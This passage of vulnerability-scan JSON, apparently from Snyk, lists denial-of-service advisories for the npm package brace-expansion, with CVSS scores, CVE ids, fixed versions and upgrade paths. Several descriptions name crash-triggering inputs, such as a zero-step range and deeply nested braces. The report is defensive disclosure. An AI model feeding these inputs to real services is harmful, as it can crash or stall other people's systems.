"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
